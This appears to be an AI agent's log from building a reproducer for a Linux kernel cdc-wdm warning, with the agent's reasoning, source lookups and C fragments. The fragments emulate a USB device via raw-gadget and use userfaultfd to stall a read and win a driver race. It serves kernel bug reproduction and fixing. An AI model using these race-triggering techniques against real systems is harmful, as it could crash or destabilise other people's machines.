However, when I moved to my second reproducer and refined the condition to be more specific: `if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR)`, things broke. This precision backfired, causing the enumeration to fail. I then dug into *why* this specific change would cause a problem. I recalled that `GET_DESCRIPTOR` requests for String descriptors, for instance, have a `bRequestType` of `0x80`. My initial, broader `USB_DIR_IN` check likely caught these string descriptor requests, whereas the stricter `0x80` condition was too narrow. I even considered the case of `GET_DESCRIPTOR` for a Device Qualifier and thought stalling it might be a workaround, but the root cause remained elusive.
The error message in the second reproducer was `device descriptor read/64, error -110`. I recognized `-110` as `-ETIMEDOUT`, indicating the host never received a response. This pointed me towards a problem with `USB_RAW_IOCTL_EP0_WRITE` returning an error. I reviewed `raw_process_ep0_io` and considered if the `io.length` being larger than `req->wLength` could be an issue, though I had already implemented a safeguard: `if (io.length > req->wLength) io.length = req->wLength;`.
Then I re-examined the order of operations in the second reproducer. I had a check for `SET_CONFIGURATION` immediately after the `GET_DESCRIPTOR` logic:
```c
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
```
This struck me as odd, because `SET_CONFIGURATION` *always* follows successful `GET_DESCRIPTOR` calls. So, if `GET_DESCRIPTOR` failed, why would the code even reach the `SET_CONFIGURATION` part? This reinforced the idea that the `GET_DESCRIPTOR` for the device descriptor itself must have failed. The timeout implies the host didn't get a response, which means the gadget didn't successfully send anything back.
My attention then shifted to the gadget thread's loop in the second reproducer:
```c
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
```
I realized that if `USB_RAW_IOCTL_EVENT_FETCH` returned `-EINVAL`, the loop would continue indefinitely. This `-EINVAL` condition in `raw-gadget` is tied to `dev->state != STATE_DEV_RUNNING`. This led me to investigate when and why `dev->state` would transition away from `STATE_DEV_RUNNING`. The culprit, I found, is `raw_process_ep0_io`: if it encounters an error, it sets `dev->state = STATE_DEV_FAILED`.
The critical question became: could `raw_process_ep0_io` have failed on the *very first* `GET_DESCRIPTOR` request for the device descriptor? I looked at the relevant code snippet:
```c
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
```
This is where it hit me. I was setting `io.length`, copying data, and then calling `ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);`. But what about the direction? `struct usb_raw_ep_io` has fields like `ep`, `flags`, `length`, `data`, and `inner.direction`. While `USB_RAW_IOCTL_EP0_WRITE` implicitly suggests an IN direction, I hadn't explicitly set `io.inner.direction`. This oversight, I suspect, meant the `USB_RAW_IOCTL_EP0_WRITE` call was fundamentally malformed or misinterpreted by the `raw-gadget` kernel module, leading to an error in `raw_process_ep0_io`, a state change to `STATE_DEV_FAILED`, subsequent `-EINVAL` from `EVENT_FETCH`, and ultimately, the observed timeout on the host side. It all came down to that missing direction flag on the `usb_raw_ep_io` structure for the write operation.
|
| 235/4 |
2026/09/11 22:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_ep0_write]
Results: map[SourceCode: 758: static int raw_ioctl_ep0_write(struct raw_dev *dev, unsigned long value)
759: {
760: int ret = 0;
761: void *data;
762: struct usb_raw_ep_io io;
763:
764: data = raw_alloc_io_data(&io, (void __user *)value, true);
765: if (IS_ERR(data))
766: return PTR_ERR(data);
767: ret = raw_process_ep0_io(dev, &io, data, true);
768: kfree(data);
769: return ret;
770: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 236/4 |
2026/09/11 22:54 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 30199
output: 32
thoughts: 37
Thoughts: **My Thought Process on `raw_process_ep0_io`:**
Ah, I see a detail here that piques my interest. The function `raw_process_ep0_io` is being called, and it's taking `true` as the value for its `is_in` parameter. This immediately flags a point for further investigation in my mind. My natural inclination is to pause and delve deeper into the mechanics of `raw_process_ep0_io` itself. I need to understand precisely what this parameter signifies within the context of that specific function and, by extension, the broader system or process it's involved in. My next step, therefore, is to examine the implementation of `raw_process_ep0_io` directly.
|
| 237/4 |
2026/09/11 22:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_process_ep0_io]
Results: map[SourceCode: 683: static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
684: void *data, bool in)
685: {
686: int ret = 0;
687: unsigned long flags;
688:
689: spin_lock_irqsave(&dev->lock, flags);
690: if (dev->state != STATE_DEV_RUNNING) {
691: dev_dbg(dev->dev, "fail, device is not running\n");
692: ret = -EINVAL;
693: goto out_unlock;
694: }
695: if (!dev->gadget) {
696: dev_dbg(dev->dev, "fail, gadget is not bound\n");
697: ret = -EBUSY;
698: goto out_unlock;
699: }
700: if (dev->ep0_urb_queued) {
701: dev_dbg(&dev->gadget->dev, "fail, urb already queued\n");
702: ret = -EBUSY;
703: goto out_unlock;
704: }
705: if ((in && !dev->ep0_in_pending) ||
706: (!in && !dev->ep0_out_pending)) {
707: dev_dbg(&dev->gadget->dev, "fail, wrong direction\n");
708: ret = -EBUSY;
709: goto out_unlock;
710: }
711: if (WARN_ON(in && dev->ep0_out_pending)) {
712: ret = -ENODEV;
713: dev->state = STATE_DEV_FAILED;
714: goto out_unlock;
715: }
716: if (WARN_ON(!in && dev->ep0_in_pending)) {
717: ret = -ENODEV;
718: dev->state = STATE_DEV_FAILED;
719: goto out_unlock;
720: }
721:
722: dev->req->buf = data;
723: dev->req->length = io->length;
724: dev->req->zero = usb_raw_io_flags_zero(io->flags);
725: dev->ep0_urb_queued = true;
726: spin_unlock_irqrestore(&dev->lock, flags);
727:
728: ret = usb_ep_queue(dev->gadget->ep0, dev->req, GFP_KERNEL);
729: if (ret) {
730: dev_err(&dev->gadget->dev,
731: "fail, usb_ep_queue returned %d\n", ret);
732: spin_lock_irqsave(&dev->lock, flags);
733: goto out_queue_failed;
734: }
735:
736: ret = wait_for_completion_interruptible(&dev->ep0_done);
737: if (ret) {
738: dev_dbg(&dev->gadget->dev, "wait interrupted\n");
739: usb_ep_dequeue(dev->gadget->ep0, dev->req);
740: wait_for_completion(&dev->ep0_done);
741: spin_lock_irqsave(&dev->lock, flags);
742: if (dev->ep0_status == -ECONNRESET)
743: dev->ep0_status = -EINTR;
744: goto out_interrupted;
745: }
746:
747: spin_lock_irqsave(&dev->lock, flags);
748:
749: out_interrupted:
750: ret = dev->ep0_status;
751: out_queue_failed:
752: dev->ep0_urb_queued = false;
753: out_unlock:
754: spin_unlock_irqrestore(&dev->lock, flags);
755: return ret;
756: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 238/4 |
2026/09/11 22:54 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 31461
output: 27
thoughts: 382
Thoughts: **The Root Cause of the Gadget Failure**
I've finally pieced together why my gadget is failing. It all comes down to a specific condition within the `raw_process_ep0_io` function, specifically this `WARN_ON(in && dev->ep0_out_pending)` macro. I initially suspected a race condition or a mismatch in how I was handling USB control transfers, and this line confirms it.
Looking at my second reproducer, I see the critical error. I'm issuing a `USB_REQ_SET_CONFIGURATION` request, which by its nature is an *OUT* transfer – meaning the host is sending data to the gadget. Consequently, `dev->ep0_out_pending` is indeed true. However, I'm then attempting to handle this by calling `USB_RAW_IOCTL_EP0_WRITE`, and crucially, I'm passing `in = true` to this `ioctl`. This creates the exact scenario the `WARN_ON` is designed to catch: `in` is true, and `dev->ep0_out_pending` is also true. This triggers the warning, and as a result, `dev->state` is set to `STATE_DEV_FAILED`. This is precisely why the gadget subsequently fails and why `EVENT_FETCH` returns `-EINVAL`.
The contrast with my first reproducer is illuminating. There, for `USB_REQ_SET_CONFIGURATION`, I correctly used `USB_RAW_IOCTL_EP0_READ` to handle the OUT transfer. This didn't trigger the `WARN_ON` and the operation succeeded. This confirms my hypothesis: for any OUT control request, I *must* use `USB_RAW_IOCTL_EP0_READ` to correctly signal the data direction to the raw gadget driver, rather than `USB_RAW_IOCTL_EP0_WRITE`.
Now, my attention turns to another important control request: `SET_ADDRESS`. I need to determine if `raw-gadget` actually handles this request and, if so, how it expects to receive it. I'll need to dive into the `raw_setup` function within `raw_gadget.c` to understand its behavior.
|
| 239/4 |
2026/09/11 22:54 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile: Name:raw_setup]
Results: map[SourceCode: SourceFile:]
|
| 240/4 |
2026/09/11 22:54 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 31875
output: 36
thoughts: 17
Thoughts: **My Thought Process for Analyzing `raw_gadget.c`**
My initial impulse is to dive into the codebase and understand how this `raw_gadget.c` file is structured and, more importantly, how it's being set up for operation. To do this, my first direct action is to perform a search for the keyword `setup` within the `raw_gadget.c` file itself. I'm looking for functions, variables, or any code constructs that clearly indicate initialization or configuration routines. This will be my starting point for grasping the fundamental operational parameters and the overall architecture of this raw gadget.
|
| 241/4 |
2026/09/11 22:55 |
tool |
grepper |
0m
Args: map[Expression:setup PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=328=static void gadget_unbind(struct usb_gadget *gadget)
--
drivers/usb/gadget/legacy/raw_gadget.c-336-
drivers/usb/gadget/legacy/raw_gadget.c:337:static int gadget_setup(struct usb_gadget *gadget,
drivers/usb/gadget/legacy/raw_gadget.c-338- const struct usb_ctrlrequest *ctrl)
--
drivers/usb/gadget/legacy/raw_gadget.c=480=static int raw_ioctl_init(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-549- dev->driver.max_speed = arg.speed;
drivers/usb/gadget/legacy/raw_gadget.c:550: dev->driver.setup = gadget_setup;
drivers/usb/gadget/legacy/raw_gadget.c-551- dev->driver.disconnect = gadget_disconnect;
]
|
| 242/4 |
2026/09/11 22:55 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 32192
output: 28
thoughts: 10
Thoughts: **My Thought Process**
Right, first things first, I need to take a look at `gadget_setup`. This is where the whole initialization process kicks off, so it's the logical place to start digging in. I'm expecting to find the core configurations and dependencies being established here, and understanding that is crucial for grasping how the entire system boots and gets ready to operate.
|
| 243/4 |
2026/09/11 22:55 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:gadget_setup]
Results: map[SourceCode: 337: static int gadget_setup(struct usb_gadget *gadget,
338: const struct usb_ctrlrequest *ctrl)
339: {
340: int ret = 0;
341: struct raw_dev *dev = get_gadget_data(gadget);
342: unsigned long flags;
343:
344: spin_lock_irqsave(&dev->lock, flags);
345: if (dev->state != STATE_DEV_RUNNING) {
346: dev_err(&gadget->dev, "ignoring, device is not running\n");
347: ret = -ENODEV;
348: goto out_unlock;
349: }
350: if (dev->ep0_in_pending || dev->ep0_out_pending) {
351: dev_dbg(&gadget->dev, "stalling, request already pending\n");
352: ret = -EBUSY;
353: goto out_unlock;
354: }
355: if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
356: dev->ep0_in_pending = true;
357: else
358: dev->ep0_out_pending = true;
359: spin_unlock_irqrestore(&dev->lock, flags);
360:
361: ret = raw_queue_event(dev, USB_RAW_EVENT_CONTROL, sizeof(*ctrl), ctrl);
362: if (ret < 0)
363: dev_err(&gadget->dev, "failed to queue control event\n");
364: goto out;
365:
366: out_unlock:
367: spin_unlock_irqrestore(&dev->lock, flags);
368: out:
369: if (ret == 0 && ctrl->wLength == 0) {
370: /*
371: * Return USB_GADGET_DELAYED_STATUS as a workaround to stop
372: * some UDC drivers (e.g. dwc3) from automatically proceeding
373: * with the status stage for 0-length transfers.
374: * Should be removed once all UDC drivers are fixed to always
375: * delay the status stage until a response is queued to EP0.
376: */
377: return USB_GADGET_DELAYED_STATUS;
378: }
379: return ret;
380: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 244/4 |
2026/09/11 22:55 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 32957
output: 36
thoughts: 142
Thoughts: **My Thought Process Regarding `gadget_setup` and `SET_ADDRESS` Handling**
Okay, so my initial observation is that `gadget_setup` appears to be queuing an event and then returning `USB_GADGET_DELAYED_STATUS` specifically for zero-length transfers. This is a point worth noting, as it suggests a particular workflow for certain types of setup transactions.
However, my mind immediately jumps to a more fundamental question: who is actually responsible for handling the `SET_ADDRESS` request? This is a critical control request, and its management is crucial for the proper enumeration and function of a USB device.
My understanding, which I then pause to confirm, is that the UDC (USB Device Controller) core itself is designed to handle `SET_ADDRESS`. More specifically, it seems that `usb_gadget_setup` within the UDC core intercepts and processes `SET_ADDRESS` directly. The key takeaway here is that this request is *not* being passed down to the specific gadget driver that might be registered. This is a significant point of architecture – the core handles fundamental enumeration steps.
To be absolutely certain of this, I would then initiate a code review. My immediate instinct is to look at the relevant source files: `drivers/usb/gadget/udc/core.c` is the obvious primary suspect for the UDC core's behavior. Additionally, I'd want to cross-reference with a specific HCD (Host Controller Driver) implementation to see how it interacts or potentially deviates. In this case, `dummy_hcd.c` has been brought to my attention as a potential area for investigation, likely because it's a test or example HCD.
So, my next step is to dive into `dummy_hcd.c`. I'm specifically looking for how `SET_ADDRESS` is managed there. The question that arises is: is it `dummy_hcd.c` that handles `SET_ADDRESS` through its `dummy_timer`? This seems a bit indirect, and I need to verify the flow. My process would then involve tracing the execution path within `dummy_hcd.c` to confirm whether the `dummy_timer` is indeed involved in processing `SET_ADDRESS`, or if my initial assumption about the UDC core handling it exclusively holds true even within the context of this dummy implementation. This detailed inspection of `dummy_hcd.c` is the final, crucial step to solidify my understanding of this specific scenario.
|
| 245/4 |
2026/09/11 22:55 |
tool |
grepper |
0m
Error:
Args: map[Expression:SET_ADDRESS PathPrefix:drivers/usb/gadget/udc/core.c]
Results:
|
| 246/4 |
2026/09/11 22:55 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 33133
output: 39
thoughts: 22
Thoughts: **My Thought Process**
Right, so my immediate impulse is to delve into the specifics of the USB gadget driver implementation. I'm thinking about the `drivers/usb/gadget/udc/dummy_hcd.c` file specifically. My brain is naturally gravitating towards understanding the underlying mechanics of this dummy host controller driver within the USB gadget framework. I want to see how it's architected, what functions are exposed, and how it simulates the behavior of a real host controller for testing or development purposes. I'm anticipating exploring its initialization, its interface with the gadget core, and how it handles requests and data transfers in this simulated environment.
|
| 247/4 |
2026/09/11 22:56 |
tool |
grepper |
0m
Args: map[Expression:SET_ADDRESS PathPrefix:drivers/usb/gadget/udc/dummy_hcd.c]
Results: map[Output:drivers/usb/gadget/udc/dummy_hcd.c=1646=static int handle_control_request(struct dummy_hcd *dum_hcd, struct urb *urb,
--
drivers/usb/gadget/udc/dummy_hcd.c-1658- switch (setup->bRequest) {
drivers/usb/gadget/udc/dummy_hcd.c:1659: case USB_REQ_SET_ADDRESS:
drivers/usb/gadget/udc/dummy_hcd.c-1660- if (setup->bRequestType != Dev_Request)
]
|
| 248/4 |
2026/09/11 22:56 |
llm |
repro-generator |
1m
Model:
Tokens:
input: 33340
output: 28
thoughts: 6828
Thoughts: **My Thoughts on Reproducing the USB Warning**
Okay, so I've been digging into why that second reproducer was failing, and I've had a bit of an epiphany. It turns out that the `dummy_hcd` actually handles the `SET_ADDRESS` request internally. This is a crucial detail because it means the gadget driver, and by extension my gadget thread, never actually sees or needs to deal with `SET_ADDRESS`. This is great news – it simplifies things considerably and confirms my suspicion that my gadget thread doesn't need to worry about it.
This realization immediately points to the *only* reason my second reproducer failed: I was incorrectly using `USB_RAW_IOCTL_EP0_WRITE` when handling `SET_CONFIGURATION`. That's the bug I need to fix.
Now, let's look at the code snippet for handling USB requests:
```c
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
// ... (handling GET_DESCRIPTOR) ...
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
// ... (handling the specific control read) ...
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0); // Stalling other IN requests
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io); // Correctly reading for SET_CONFIGURATION
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0); // Configuring the device
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io); // Reading other OUT requests
}
}
```
My initial thought was that the `SET_CONFIGURATION` issue was the sole problem. However, as I re-examined the flow, I noticed something else that was potentially problematic in the second reproducer:
```c
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
```
This section involves waiting for `notif2_sent` before responding to the first control read. Now, `notif2_sent` is set in `ep1_thread` *after* it sends the second notification. The `ep1_thread` itself looks like this:
```c
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
```
Here's the critical insight: `USB_RAW_IOCTL_EP_WRITE` *blocks* until the host actually reads the data. The host, in turn, reads the interrupt endpoint periodically. When the host reads the first notification, it submits the Control Read URB. Then, my gadget thread receives this Control Read event. However, `ep1_thread` is *still blocked* on `USB_RAW_IOCTL_EP_WRITE` for the first notification until the host reads it. Once it's read, it sends the second notification, which *also blocks* until the host reads it.
The question then becomes: does the host read the second notification while the Control Read URB is still pending? To figure this out, I looked at `wdm_int_callback`:
```c
responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
if (!desc->resp_count++ && !responding
&& !test_bit(WDM_DISCONNECTING, &desc->flags)
&& !test_bit(WDM_SUSPENDING, &desc->flags)) {
rv = usb_submit_urb(desc->response, GFP_ATOMIC);
...
}
...
exit:
rv = usb_submit_urb(urb, GFP_ATOMIC);
```
Yes, `wdm_int_callback` *does* submit the Control Read URB, and then it immediately submits the interrupt URB again! This means the host *will* indeed read the second notification even if the Control Read URB is pending.
So, the sequence is: `ep1_thread` sends Notification 1, host reads it. `ep1_thread` sends Notification 2, host reads it. Then `ep1_thread` sets `notif2_sent`. *After* this, my gadget thread responds to the first Control Read. This sequence seems perfectly fine!
But what if `ep1_thread` sends the second notification, and `wdm_int_callback` receives it, but the `wdm_in_callback` (handling the first Control Read) has already completed its work? If `wdm_in_callback` ran, it would have cleared `WDM_RESPONDING`. Then, when the second notification arrives, `wdm_int_callback` sees `WDM_RESPONDING` as 0, sets it to 1, increments `desc->resp_count` (which was 1, now becomes 2), and importantly, does *not* submit the Control Read URB because `!desc->resp_count++` is now false.
Then, `wdm_read` blocks in `copy_to_user`. We then stall EP1 IN, triggering `wdm_rxwork`. `wdm_rxwork` sees `WDM_RESPONDING` is 1, so it does *not* submit the Control Read URB. This is problematic because the URB isn't active, and when `wdm_read` eventually finishes and calls `service_outstanding_interrupt`, it will resubmit the URB. This resubmission, when the URB is already logically completed but not properly handled, leads to the warning.
To avoid this, we *must* ensure that `wdm_in_callback` (which clears `WDM_RESPONDING`) runs *after* the second notification has been received by the host. My logic of waiting for `notif2_sent` *before* responding to the first Control Read ensures exactly this: the second notification is sent and processed by the host *before* the gadget thread responds to the first Control Read. This means `wdm_in_callback` will run after the second notification, correctly clearing `WDM_RESPONDING` and ensuring the subsequent `wdm_rxwork` correctly resubmits the URB, avoiding the double-submission warning.
So, my original reasoning for that `event_wait(¬if2_sent)` was indeed correct for preventing the warning. The crucial part is ensuring the host has processed the second notification *before* the gadget responds to the first Control Read, allowing the `WDM_RESPONDING` flag to be cleared properly.
|
| 249/4 |
2026/09/11 22:57 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_create]
Results: map[SourceCode:1025: static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
1026: u16 bufsize, enum wwan_port_type type,
1027: int (*manage_power)(struct usb_interface *, int))
1028: {
1029: int rv = -ENOMEM;
1030: struct wdm_device *desc;
1031:
1032: desc = kzalloc_obj(struct wdm_device);
1033: if (!desc)
1034: goto out;
1035: INIT_LIST_HEAD(&desc->device_list);
1036: mutex_init(&desc->rlock);
1037: mutex_init(&desc->wlock);
1038: spin_lock_init(&desc->iuspin);
1039: init_waitqueue_head(&desc->wait);
1040: desc->wMaxCommand = bufsize;
1041: /* this will be expanded and needed in hardware endianness */
1042: desc->inum = cpu_to_le16((u16)intf->cur_altsetting->desc.bInterfaceNumber);
1043: desc->intf = intf;
1044: desc->wwanp_type = type;
1045: INIT_WORK(&desc->rxwork, wdm_rxwork);
1046: INIT_WORK(&desc->service_outs_intr, service_interrupt_work);
1047:
1048: if (!usb_endpoint_is_int_in(ep)) {
1049: rv = -EINVAL;
1050: goto err;
1051: }
1052:
1053: desc->wMaxPacketSize = usb_endpoint_maxp(ep);
1054:
1055: desc->orq = kmalloc_obj(struct usb_ctrlrequest);
1056: if (!desc->orq)
1057: goto err;
1058: desc->irq = kmalloc_obj(struct usb_ctrlrequest);
1059: if (!desc->irq)
1060: goto err;
1061:
1062: desc->validity = usb_alloc_urb(0, GFP_KERNEL);
1063: if (!desc->validity)
1064: goto err;
1065:
1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
1067: if (!desc->response)
1068: goto err;
1069:
1070: desc->command = usb_alloc_urb(0, GFP_KERNEL);
1071: if (!desc->command)
1072: goto err;
1073:
1074: desc->ubuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1075: if (!desc->ubuf)
1076: goto err;
1077:
1078: desc->sbuf = kmalloc(desc->wMaxPacketSize, GFP_KERNEL);
1079: if (!desc->sbuf)
1080: goto err;
1081:
1082: desc->inbuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1083: if (!desc->inbuf)
1084: goto err;
1085:
1086: usb_fill_int_urb(
1087: desc->validity,
1088: interface_to_usbdev(intf),
1089: usb_rcvintpipe(interface_to_usbdev(intf), ep->bEndpointAddress),
1090: desc->sbuf,
1091: desc->wMaxPacketSize,
1092: wdm_int_callback,
1093: desc,
1094: ep->bInterval
1095: );
1096:
1097: desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE);
1098: desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE;
1099: desc->irq->wValue = 0;
1100: desc->irq->wIndex = desc->inum; /* already converted */
1101: desc->irq->wLength = cpu_to_le16(desc->wMaxCommand);
1102:
1103: usb_fill_control_urb(
1104: desc->response,
1105: interface_to_usbdev(intf),
1106: /* using common endpoint 0 */
1107: usb_rcvctrlpipe(interface_to_usbdev(desc->intf), 0),
1108: (unsigned char *)desc->irq,
1109: desc->inbuf,
1110: desc->wMaxCommand,
1111: wdm_in_callback,
1112: desc
1113: );
1114:
1115: desc->manage_power = manage_power;
1116:
1117: spin_lock(&wdm_device_list_lock);
1118: list_add(&desc->device_list, &wdm_device_list);
1119: spin_unlock(&wdm_device_list_lock);
1120:
1121: rv = usb_register_dev(intf, &wdm_class);
1122: if (rv < 0)
1123: goto err;
1124: else
1125: dev_info(&intf->dev, "%s: USB WDM device\n", dev_name(intf->usb_dev));
1126:
1127: wdm_wwan_init(desc);
1128:
1129: out:
1130: return rv;
1131: err:
1132: spin_lock(&wdm_device_list_lock);
1133: list_del(&desc->device_list);
1134: spin_unlock(&wdm_device_list_lock);
1135: cleanup(desc);
1136: return rv;
1137: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 250/4 |
2026/09/11 22:57 |
llm |
repro-generator |
1m
Model:
Tokens:
input: 41926
output: 4296
thoughts: 9026
Thoughts: **A Deep Dive into CDC-WDM Gadget Driver Interaction**
Alright, let's walk through what's happening here. My primary goal is to trigger a specific race condition within the CDC-WDM gadget driver, specifically the "URB submitted while active" warning. The key to this is understanding how the `wdm_create` function behaves and how I can manipulate the USB gadget framework to induce the desired state.
First, I've confirmed my understanding of `wdm_create`. It **doesn't** actually send any control requests to the host. Its job is much simpler: allocate memory, set up the necessary URBs (USB Request Blocks), and then register the device using `usb_register_dev`. This means my gadget thread, the one that handles the USB events, doesn't need to worry about class-specific requests during its probe phase. The *only* class-specific request my gadget thread will directly receive is `USB_CDC_GET_ENCAPSULATED_RESPONSE` (specifically, the `0xA1 0x01` request) when the host attempts to read the response. And, happily, I've got that covered! My code explicitly checks for this specific request type:
```c
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
```
This observation is crucial because it simplifies the gadget's role significantly.
Now, let's meticulously review the C reproducer code, piece by piece, to ensure the logic flows as intended.
**The `gadget_thread`:** This is the heart of my gadget's USB interaction.
* It initializes the raw gadget device (`fd_raw`) and enters a loop to fetch USB events.
* When a `USB_RAW_EVENT_CONTROL` event arrives, it parses the `usb_ctrlrequest`.
* For `USB_REQ_GET_DESCRIPTOR` requests (both device and configuration descriptors), it correctly prepares and sends the appropriate descriptor data back to the host.
* Crucially, for the `0xA1 0x01` control read request:
* The *first* time it's received, it waits for a specific notification (`notif2_sent`) from the `ep1_thread` before responding with 10 bytes of data ('A's). This delay is important for synchronization.
* Subsequent `0xA1 0x01` requests are deliberately ignored. This is the mechanism to hang the host's URB, which is what we're aiming for.
* For `USB_REQ_SET_CONFIGURATION` (OUT request), it reads the configuration data, calls `ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0)` to finalize the configuration, and then enables the IN endpoint (`ep_in`). Once the endpoint is enabled, it signals that the gadget is ready (`event_set(&gadget_ready)`).
* Other control requests are handled by stalling.
This part looks absolutely solid. It correctly sets up the gadget and manages the control requests, especially the critical `0xA1 0x01` sequence.
**The `ep1_thread`:** This thread manages the interrupt endpoint (EP1 IN) and sends CDC notifications.
* It waits for `gadget_ready` to ensure the gadget is initialized and endpoints are configured. A small `usleep` is added to give the host time to fully enumerate and submit its interrupt URB.
* It then sends *two* CDC notifications (`USB_CDC_NOTIFY_RESPONSE_AVAILABLE`). The first notification is sent immediately, and the second follows. The key here is that `ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1)` **blocks** until the host reads the data. This means the first notification will be read by the host, *then* the second notification will be sent.
* After sending the second notification, it signals `notif2_sent` to unblock the `gadget_thread` and allow it to respond to the first control read.
* It then waits for `read_blocked` to indicate that the `read()` operation in the `main` thread has encountered a page fault.
* Finally, it sends a STALL command to the interrupt endpoint (`ep_in`). This is the trigger for the `wdm_rxwork` function in the kernel module to resubmit its URB while the endpoint is already "active" (in a stalled state), which is the intended race condition.
* After a short delay to allow `wdm_rxwork` to submit the URB, it signals `resolve_uffd` to unblock the `uffd_thread` and complete the `read()` operation.
This thread's synchronization and timing also appear to be well-defined and precisely what's needed.
**The `uffd_thread`:** This thread handles the userfaultfd events.
* It waits for a page fault event.
* Upon receiving the `UFFD_EVENT_PAGEFAULT`, it signals `read_blocked` to let the `ep1_thread` know the `read()` has hit the fault.
* It then waits for `resolve_uffd` to proceed.
* Once unblocked, it performs a `UFFDIO_COPY` to resolve the page fault, effectively allowing the `read()` operation to complete.
This is standard userfaultfd handling and looks correct.
**The `main` function:** This orchestrates the entire process.
* It initializes the event synchronization primitives.
* It starts the `gadget_thread` and `ep1_thread`.
* It waits for the gadget to be ready and then patiently waits for the `/dev/cdc-wdmX` device node to appear. This is important because the `cdc-wdm` module is loaded dynamically based on the USB interface descriptors.
* It opens the `cdc-wdm` device node in read-write mode (`O_RDWR`).
* It sets up a userfaultfd for a 4KB anonymous memory region (`addr`). This region will be used for the `read()` operation.
* It starts the `uffd_thread`, passing it the userfaultfd file descriptor.
* The critical part: it calls `read(fd_wdm, addr, 10)` on the `cdc-wdm` device. This `read()` operation is what we expect to block and eventually hit the userfaultfd due to the driver's page faulting mechanism.
* Finally, it waits a bit to allow any kernel warnings to be printed before exiting.
Here's where I had a crucial insight: I initially worried about `read()` returning before hitting userfaultfd. However, my analysis shows that:
1. The `gadget_thread` responds to the `0xA1 0x01` control read with exactly 10 bytes.
2. The `copy_to_user` call within the kernel's `wdm_read` function will attempt to copy these 10 bytes into the `addr` buffer.
3. Since `addr` is registered with userfaultfd, accessing even the first byte will trigger a page fault, thus guaranteeing that `read()` will block and hit the userfaultfd handler.
I also considered the timing of `open()` and the interrupt URB submission. My `ep1_thread` sends notifications *before* `main` calls `open()`. Because `USB_RAW_IOCTL_EP_WRITE` blocks until the host reads, the `ep1_thread` will effectively be paused until `main` calls `open()` and the host submits its interrupt URB. Once `open()` is called, the interrupt URB is submitted, the notifications are read, and then `main` proceeds to call `read()`. This synchronization seems robust.
Furthermore, the `cdc-wdm` module should load automatically due to the USB interface class/subclass, resolving previous enumeration failures. The `USB_RAW_IOCTL_EP_SET_HALT` call correctly halts the interrupt endpoint, ensuring that the subsequent interrupt transfer from the host will result in an `-EPIPE` status, which is necessary for `wdm_rxwork` to be scheduled.
